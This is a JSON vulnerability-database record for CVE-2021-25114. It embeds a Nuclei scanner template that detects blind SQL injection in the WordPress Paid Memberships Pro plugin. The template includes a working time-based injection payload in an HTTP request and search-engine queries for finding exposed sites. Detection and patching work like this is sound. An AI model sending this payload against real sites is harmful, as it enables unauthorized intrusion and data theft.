{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-25114/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-25114/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-25114/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-25114/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-25114/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-25114"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-25114"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-25114.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-25114\n\ninfo:\n  name: WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.\n  remediation: |\n    Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.\n  reference:\n    - https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b\n    - https://wordpress.org/plugins/paid-memberships-pro/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-25114\n    - https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-25114\n    cwe-id: CWE-89\n    epss-score: 0.81828\n    epss-percentile: 0.99631\n    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: strangerstudios\n    product: paid_memberships_pro\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/\n    fofa-query: body=/wp-content/plugins/paid-memberships-pro/\n    publicwww-query: /wp-content/plugins/paid-memberships-pro/\n    google-query: inurl:\"/wp-content/plugins/paid-memberships-pro\"\n  tags: time-based-sqli,cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 15s\n        GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - duration_1>=6\n          - contains(header_1, \"application/json\")\n          - status_code == 200\n          - contains(body_2, 'other_discount_code_')\n        condition: and\n# digest: 490a0046304402203f183aee7838da7c3de4861e66cad8c1d0ddde5f9b992f58898768e3484aa4ee022051e9e970b24b25793248edeb394c3a5adfb72db84446ea4a24866f4575c69756:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-25114"
}